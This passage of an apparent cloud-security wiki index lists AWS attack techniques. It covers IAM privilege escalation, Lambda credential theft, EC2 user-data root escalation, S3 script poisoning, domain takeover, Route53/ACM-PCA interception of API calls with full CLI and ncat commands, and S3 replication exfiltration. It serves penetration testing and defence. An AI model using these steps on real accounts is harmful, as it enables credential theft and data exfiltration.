</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachgrouppolicy","title":"iam:AttachGroupPolicy","text":"<p>With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachrolepolicy","title":"iam:AttachRolePolicy","text":"<p>With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachuserpolicy","title":"iam:AttachUserPolicy","text":"<p>With access to the iam:AttachUserPolicy permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey","title":"iam:CreateAccessKey","text":"<p>With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.</p> <p></p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateloginprofile","title":"iam:CreateLoginProfile","text":"<p>With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreatepolicyversion","title":"iam:CreatePolicyVersion","text":"<p>With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepermissionsboundary","title":"iam:DeleteRolePermissionsBoundary","text":"<p>With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepolicy","title":"iam:DeleteRolePolicy","text":"<p>With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpermissionsboundary","title":"iam:DeleteUserPermissionsBoundary","text":"<p>With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpolicy","title":"iam:DeleteUserPolicy","text":"<p>With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachrolepolicy","title":"iam:DetachRolePolicy","text":"<p>With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachuserpolicy","title":"iam:DetachUserPolicy","text":"<p>With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,","text":"<p>With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate","text":"<p>With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-cloudformationcreatestack","title":"iam:PassRole, cloudformation:CreateStack","text":"<p>With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-codestarcreateproject","title":"iam:PassRole, codestar:CreateProject","text":"<p>With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition","title":"iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition","text":"<p>With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-ec2runinstances","title":"iam:PassRole, ec2:RunInstances","text":"<p>With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.</p> <p>This can be taken advantage of with the following one-liner:</p> <p></p> <p>Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.</p> <p>A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.</p> <p>Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatedevendpoint","title":"iam:PassRole, glue:CreateDevEndpoint","text":"<p>With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatejob","title":"iam:PassRole, glue:CreateJob","text":"<p>With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-glueupdatejob","title":"iam:PassRole, glue:UpdateJob","text":"<p>With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdaaddpermission-lambdacreatefunction","title":"iam:PassRole, lambda:AddPermission, lambda:CreateFunction","text":"<p>With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction","title":"iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction","text":"<p>With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.</p> <p>It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreatefunction-lambdainvokefunction","title":"iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction","text":"<p>With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputgrouppolicy","title":"iam:PutGroupPolicy","text":"<p>With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepermissionsboundary","title":"iam:PutRolePermissionsBoundary","text":"<p>With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepolicy","title":"iam:PutRolePolicy","text":"<p>With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpermissionsboundary","title":"iam:PutUserPermissionsBoundary","text":"<p>With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies. </p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpolicy","title":"iam:PutUserPolicy","text":"<p>With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamsetdefaultpolicyversion","title":"iam:SetDefaultPolicyVersion","text":"<p>With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateassumerolepolicy","title":"iam:UpdateAssumeRolePolicy","text":"<p>With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile","title":"iam:UpdateLoginProfile","text":"<p>With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctioncode","title":"lambda:UpdateFunctionCode","text":"<p>With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.</p>"},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctionconfiguration","title":"lambda:UpdateFunctionConfiguration","text":"<p>With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.</p>"},{"location":"aws/exploitation/lambda-steal-iam-credentials/","title":"Steal IAM Credentials and Event Data from Lambda","text":"<ul> <li> <p> Technique seen in the wild</p> <p>Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild</p> </li> </ul> <p>In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because \"everything is a file\".</p> <p>IAM credentials can be accessed via reading <code>/proc/self/environ</code>.</p> <p></p> <p>Note</p> <p>In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.</p> <p>In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at <code>http://169.254.100.1:9001/2018-06-01/runtime/invocation/next</code>. Additionally the environment variable <code>AWS_LAMBDA_RUNTIME_API</code> stores the IP address and port of the runtime interface as well.</p> <p>This will include information about what invoked the Lambda function and may be valuable depending on the context.</p> <p>Note</p> <p>Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.</p>"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/","title":"EC2 Privilege Escalation Through User Data","text":"<p>If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.</p>"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#ec2modifyinstanceattribute","title":"ec2:ModifyInstanceAttribute","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>ec2:ModifyInstanceAttribute</li> </ul> </li> <li> <p> Recommended but not Required IAM Permissions</p> <ul> <li>ec2:StartInstances</li> <li>ec2:DescribeInstances</li> <li>ec2:StopInstances</li> </ul> </li> </ul> <ul> <li> <p> Original Research</p> <p>aws_pwn:elevation by Daniel Grzelak</p> </li> </ul> <p>If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.</p> <p>Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.</p> <p>To do this, first create a file in the following format.</p> <pre><code>Content-Type: multipart/mixed; boundary=\"//\"\nMIME-Version: 1.0\n\n--//\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config.txt\"\n\n#cloud-config\ncloud_final_modules:\n- [scripts-user, always]\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"userdata.txt\"\n\n#!/bin/bash\n**commands here**\n--//\n</code></pre> <p>Modify the <code>commands here</code> section to do whatever action you want. Setting a reverse shell, adding an ssh key to the default user, etc. are all good options.</p> <p>Once you've done that, convert the file to base64. Linux can do this with the following command.</p> <p><code>base64 file.txt &gt; file.b64.txt</code></p> <p>Windows can do this with the following command.</p> <p><code>certutil -encode file.txt tmp.b64 &amp;&amp; findstr /v /c:- tmp.b64 &gt; file.b64.txt</code></p> <p>Now that you've base64 encoded your payload, you will leverage the ec2:ModifyInstanceAttribute API call to change the user data of the target instance. </p> <p>Note</p> <p>The instance will need to be stopped to modify its user data. You'll either have to stop it yourself, or wait for something else to stop it.</p> <pre><code>aws ec2 modify-instance-attribute \\\n--instance-id=xxx \\\n--attribute userData \\\n--value file://file.b64.txt\n</code></pre> <p>With that change made, simply start the instance again and your command will be executed with root/System.</p>"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#leverage-scripts-in-s3","title":"Leverage scripts in S3","text":"<p>A common pattern when using EC2 is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download and set a config, etc. Oftentimes the scripts and packages are pulled from S3 and this introduces an opportunity for a developer/ops person to make a mistake.</p> <p>If the IAM role is too permissive and allows the role to write to that location, an adversary can leverage this for privilege escalation. Additionally, if there is any other kind of misconfiguration on the bucket itself, or another role which has access gets compromised, an adversary can take advantage of this as well.</p> <p>Take the following user data script:</p> <pre><code>#!/bin/bash\naws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh\nchmod +x /root/start_script.sh\n/root/start_script.sh\n</code></pre> <p>On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.</p> <p>Note</p> <p>In addition to new instances being spun up or after a reboot, poisoning the scripts/applications can also effect EC2 instances in an Auto Scaling Group.</p>"},{"location":"aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/","title":"DNS and CloudFront Domain Takeover via Deleted S3 Buckets","text":"<ul> <li> <p> Additional Resources</p> <p>Discover Dangling Domains that point to your cloud assets to prevent subdomain takeover</p> </li> <li> <p> Tools mentioned in this article</p> <p>domain-protect: OWASP Domain Protect - prevent subdomain takeover.  </p> </li> </ul> <p>Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.</p> <p>Note</p> <p>Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a <code>NoSuchBucket</code> error. For example:</p> <pre><code>&lt;Error&gt;\n&lt;Code&gt;NoSuchBucket&lt;/Code&gt;\n&lt;Message&gt;The specified bucket does not exist&lt;/Message&gt;\n&lt;BucketName&gt;hackingthe.cloud&lt;/BucketName&gt;\n&lt;RequestId&gt;68M9C1KTARF9FBYN&lt;/RequestId&gt;\n&lt;HostId&gt;RpbdvVU9AXidVVI/1zD+WTwYdVI5YMqQNJShmf6zJlztBVyINq8TtqbzWpThdi/LivlOWRVCPVs=&lt;/HostId&gt;\n&lt;/Error&gt;\n</code></pre> <p>This made it easy for attackers to identify the bucket name and quickly create their own to serve malicious content. As of late 2023, this behavior has been changed. Now CloudFront distributions pointing to deleted S3 buckets will return a <code>NotFound</code> error, and will not include the bucket name. This is a clear security improvement from AWS and makes it more difficult for an adversary to abuse.</p> <p>If an adversary can enumerate the deleted bucket name through other means they can perform the attack as normal.</p> <p>While there are a variety of ways in which this could be harmful, typically an adversary would serve JavaScript content that could be used to impact other parts of the domain. An adversary could use this to potentially steal browser cookies, perform actions as the user, and more.</p> <p>Tip</p> <p>Misconfigurations such as these are typically caused by poor hygiene in retiring cloud resources. Always be sure to delete DNS records first to potentially mitigate these issues. There are automated services out there that will automate the discovery of vulnerable domains/CloudFront distributions such as OWASP's domain-protect.</p>"},{"location":"aws/exploitation/route53_modification_privilege_escalation/","title":"AWS API Call Hijacking via ACM-PCA","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>route53:CreateHostedZone</li> <li>route53:ChangeResourceRecordSets</li> <li>acm-pca:IssueCertificate</li> <li>acm-pca:GetCertificate</li> </ul> </li> <li> <p> Recommended but not Required IAM Permissions</p> <ul> <li>route53:GetHostedZone</li> <li>route53:ListHostedZones</li> <li>acm-pca:ListCertificateAuthorities</li> <li>ec2:DescribeVpcs</li> </ul> </li> </ul> <ul> <li> <p> Original Research</p> <p>Hijacking AWS API calls by niebardzo</p> </li> </ul> <p>Note</p> <p>To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.</p> <p>Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.</p> <p>This is possible because:  </p> <ul> <li>AWS SDKs do not have Certificate Pinning</li> <li>Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names</li> <li>Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names</li> </ul> <p>For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com: <pre><code>aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=&lt;VPCId&gt;\n</code></pre></p> <p>Then set the A record for secretsmanager.us-east-1.amazonaws.com in this private hosted zone. Use the following POST body payload - mitm.json:</p> <pre><code>{\n  \"Comment\": \"&lt;anything&gt;\",\n  \"Changes\": [{\n    \"Action\": \"UPSERT\",\n    \"ResourceRecordSet\": {\n      \"Name\": \"secretsmanager.us-east-1.amazonaws.com\",\n      \"Type\": \"A\",\n      \"TTL\": 0,\n      \"ResourceRecords\": [{\"Value\": \"&lt;ip_of_adversary_instance_in_the_VPC&gt;\"}]\n    }\n  }]\n}\n</code></pre> <p>One set TTL to 0 to avoid DNS caching. Then, the advisory uses this payload to change-resource-record-sets: <pre><code>aws route53 change-resource-record-sets --hosted-zone-id &lt;id_returned_by_previous_API_call&gt; --change-batch file://mitm.json\n</code></pre></p> <p>Now, the adversary must generate the CSR and send it for signing to the ACM-PCA, CSR and private key can be generated with OpenSSL: <pre><code>openssl req -new -newkey rsa:2048 -nodes -keyout your_domain.key -out your_domain.csr\n</code></pre></p> <p>For CN (Common Name), one must provide secretsmanager.us-east-1.amazonaws.com. Then one sends the CSR to acm-pca to issue the certificate: <pre><code>aws acm-pca issue-certificate --certificate-authority-arn \"&lt;arn_of_ca_used_within_vpc&gt;\" --csr file://your_domain.csr --signing-algorithm SHA256WITHRSA --validity Value=365,Type=\"DAYS\" --idempotency-token 1234\n</code></pre></p> <p>It returns the signed certificate ARN in the response. The next call is to fetch the certificate.</p> <pre><code>aws acm-pca get-certificate --certificate-arn \"&lt;cert_arn_from_previous_response&gt;\" --certificate-authority-arn \"&lt;arn_of_ca_used_within_vpc&gt;\"\n</code></pre> <p>Once one got the signed certificate on the disk as cert.crt, the adversary starts the listener or 443/TCP and sniffs the calls to the secretsmanager.us-east-1.amazonaws.com <pre><code>sudo ncat --listen -p 443 --ssl --ssl-cert cert.crt --ssl-key your_domain.key -v\n</code></pre></p> <p>The calls can be then forwarded to the Secrets Manager VPCE to for example GetSecretValue and get unauthorized access to the data. The same action can be done with any AWS API called from the VPC - S3, KMS, etc.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/","title":"Exfiltrating S3 Data with Bucket Replication Policies","text":"<ul> <li> <p> Additional Resources</p> <p>Data exfiltration with native AWS S3 features by Ben Leembnruggen</p> </li> </ul>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#introduction","title":"Introduction","text":"<p>S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#required-configurations-and-permissions","title":"Required Configurations and Permissions","text":""},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#pre-requisites","title":"Pre-requisites","text":"<p>For bucket replication to be enabled, the following pre-requisites need to be in place:  </p> <ul> <li>The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.  </li> <li>Both source and destination buckets must have versioning enabled.  </li> <li>If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.  </li> </ul>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#iam-role","title":"IAM Role","text":"<p>Minimum Required IAM Permissions - Source Account </p> <ul> <li><code>iam:CreateRole</code> (creating a new role)  </li> <li><code>iam:CreatePolicy</code> &amp; <code>iam:AttachRolePolicy</code> (creating a new policy) or <code>iam:PutRolePolicy</code> (modifying an existing policy)  </li> <li><code>iam:UpdateAssumeRolePolicy</code> </li> </ul> <p>Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf.  To replicate all data (including existing objects), an example trust policy and permission set would look something like:</p> <p>Trust Policy <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Service\": [\n                    \"s3.amazonaws.com\",\n                    \"batchoperations.s3.amazonaws.com\"\n                ]\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre></p> <p>IAM Permissions <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetReplicationConfiguration\",\n                \"s3:ListBucket\",\n                \"s3:PutInventoryConfiguration\",\n                \"s3:InitiateReplication\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetObjectVersionForReplication\",\n                \"s3:GetObjectVersionAcl\",\n                \"s3:GetObjectVersionTagging\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:ReplicateObject\",\n                \"s3:ReplicateDelete\",\n                \"s3:ReplicateTags\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n         \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjects\",\n         \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Decrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::SOURCEBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN SOURCE ACCOUNT CURRENTLY ENCRYPTING OBJECTS\" \n         ]\n      },\n      {\n        \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjectsToo\",\n        \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Encrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::DESTINATIONBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN DESTINATION ACCOUNT TO BE SPECIFIED IN REPLICATION POLICY\" \n         ]\n      }\n    ]\n}\n</code></pre></p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#kms-if-objects-are-encrypted","title":"KMS - If objects are encrypted","text":"<p>Minimum Required IAM Permissions - Source Account </p> <ul> <li><code>kms:PutKeyPolicy</code> </li> </ul> <p>Where a KMS policy is configured to only allow a subset of principals to access an encrypted S3 object, the key policy will need to be updated to allow the above replication role access to decrypt the S3 objects.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#attacker-account-configuration","title":"Attacker Account Configuration","text":"<p>Minimum Required IAM Permissions (Destination Account) </p> <ul> <li><code>s3:PutBucketPolicy</code> </li> <li><code>kms:CreateKey</code>, <code>kms:PutKeyPolicy</code> </li> <li><code>s3:PutBucketVersioning</code> </li> </ul> <p>In order for a bucket to receive logs from another account, it requires a bucket policy explicitly allowing the replication of objects across. An example of this policy is below.</p> <p>Destination Bucket Policy  <pre><code>{\n   \"Version\":\"2012-10-17\",\n   \"Id\":\"\",\n   \"Statement\":[\n      {\n         \"Sid\":\"Set permissions for objects\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:ReplicateObject\", \n            \"s3:ReplicateDelete\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET/*\"\n      },\n      {\n         \"Sid\":\"Set permissions on bucket\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:List*\", \n            \"s3:GetBucketVersioning\", \n            \"s3:PutBucketVersioning\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET\"\n      }\n   ]\n}\n</code></pre></p> <p>If the S3 objects in the source account are encrypted, a key must be created in the destination account to encrypt the objects on replication.  Additionally, a pre-requisite of bucket replication is that Bucket Versioning is enabled on the destination bucket.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#configuring-the-replication","title":"Configuring the replication","text":"<p>Minimum Required IAM Permissions - Source Account </p> <ul> <li><code>s3:PutBucketReplication</code> </li> <li><code>iam:PassRole</code> </li> <li><code>s3:CreateJob</code> &amp; <code>s3:UpdateJobStatus</code> (Creating and starting a S3 batch replication job)  </li> <li><code>s3:PutBucketVersioning</code> (Only if not already enabled)  </li> </ul> <p>The final step is to configure the replication between the source and destination buckets.  Depending on whether you use the CLI or console, the steps can change slightly.  The full process for both options is documented by AWS here. </p> <p>In line with the steps above, ensure that: - Specify your created S3 replication role - Replicate existing objects (Disabled by default) - Select Replicate KMS Encrypted objects if needed (Disabled by default)     - The Key ID should be the KMS key in the destination account.</p>"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#what-defenders-can-look-for","title":"What defenders can look for","text":"<ul> <li>Unknown <code>PutBucketReplication</code> or <code>JobCreated</code> events in the Cloudtrail Management trail. The <code>JobCreated</code> event is generated when an S3 Batch operation job has been created, indicating that all existing objects in a bucket are being replicated across, as opposed to only future S3 objects.</li> </ul> <ul> <li> <p>When an encrypted object is replicated, KMS 